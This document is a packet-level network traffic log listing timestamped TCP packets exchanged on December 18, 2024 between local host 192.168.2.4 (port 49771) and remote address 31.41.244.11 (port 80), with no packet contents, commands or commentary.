Dec 18, 2024 17:08:24.414705038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.414876938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.414923906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.415870905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.415879965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.416224957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.416845083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.416897058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.417223930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.417268991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.418003082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.418021917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.418076038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.419091940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.419167995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.419253111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.419297934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.420146942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.420202971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.420670986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.420725107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.421251059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.421297073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.421403885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.421451092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.422378063 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.422430992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.422508001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.422557116 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.423413038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.423460007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.423562050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.423607111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.424505949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.424547911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.425695896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.425705910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.425760031 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.425909042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.425950050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.426872015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.426932096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.427016973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.427077055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.428113937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.428172112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.428488970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.428535938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.429095984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.429157972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.429193020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.429256916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.429972887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.430058956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.430176020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.430212975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.431056976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.431107998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.431149006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.431196928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.432209969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.432219028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.432272911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.433943987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.434039116 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.434415102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.434425116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.434470892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.434587955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.434639931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.435544968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.435616970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.436362028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.436410904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.436491013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.436537027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.436918974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.436968088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.437606096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.437654018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.438319921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.438364029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.438844919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.438854933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.438896894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.439789057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.439856052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.440918922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.440927982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.440972090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.441139936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.441251993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.442064047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.442074060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.442121029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.443463087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.443525076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.443959951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.444039106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.444538116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.444547892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.444586992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.445569992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.445619106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.445780039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.445827007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.446535110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.446594000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.446763039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.446806908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.447458982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.447504997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.447943926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.447989941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.448554993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.448623896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.448745012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.448889971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.449889898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.449939013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.450423002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.450469971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.450817108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.450864077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.450932980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.450973988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.451750994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.451800108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.586472034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.586601019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.586646080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.586702108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.586930037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.587001085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.587743044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.587793112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.587985992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.588041067 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.588135004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.588191032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.589477062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.589500904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.589529991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.589559078 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.590049982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.590152979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.590548992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.590600967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.591098070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.591156960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.591218948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.591290951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.592322111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.592372894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.592938900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.592999935 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.593466997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.593507051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.593529940 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.593560934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.594299078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.594361067 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.594705105 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.594765902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.595671892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.595731020 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.595808029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.595858097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.596590042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.596638918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.596699953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.596750021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.597676039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.597728968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.597806931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.597862005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.598701000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.598757029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.599071026 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.599126101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.599836111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.599889994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.601180077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.601217031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.601233006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.601258993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.601299047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.601342916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.602092981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.602150917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.602369070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.602411985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.603157043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.603204012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.603714943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.603818893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.604244947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.604299068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.604372978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.604424000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.605485916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.605544090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.606065035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.606120110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.606664896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.606717110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.607055902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.607108116 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.607990980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.608047009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.608135939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.608186960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.609271049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.609307051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.609329939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.609352112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.610491037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.610546112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.610605955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.610652924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.611515045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.611571074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.611605883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.611654997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.612628937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.612683058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.612714052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.612766981 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.613562107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.613615036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.613688946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.613740921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.614733934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.614794016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.615009069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.615060091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.615730047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.615783930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.616842031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.616895914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.617034912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.617086887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.617465019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.617520094 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.618158102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.618212938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.618345976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.618396997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.619339943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.619395971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.619476080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.619527102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.620374918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.620428085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.620590925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.620645046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.623073101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.623126984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.623226881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.623261929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.623310089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.623369932 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.623781919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.623857975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.624070883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.624108076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.624125957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.624150038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.624958038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.624993086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.625010967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.625031948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.625997066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.626048088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.626121044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.626171112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.627295017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.627348900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.627433062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.627485991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.628740072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.628793001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.628921986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.628972054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.629674911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.629728079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.629854918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.629910946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.630626917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.630667925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.630835056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.630880117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.631536961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.631587982 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.631660938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.631711960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.632354021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.632405043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.633348942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.633399010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.633403063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.633443117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.633526087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.633574009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.634321928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.634375095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.634428024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.634470940 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.635199070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.635247946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.635691881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.635742903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.636104107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.636153936 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.636226892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.636281013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.637345076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.637398958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.637526989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.637578964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.638443947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.638509035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.638642073 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.638690948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.639503956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.639571905 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.640363932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.640398026 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.640422106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.640446901 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.640506983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.640546083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.641366005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.641416073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.641711950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.641777039 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.642549038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.642581940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.642612934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.642626047 CET	49771	80	192.168.2.4	31.41.244.11
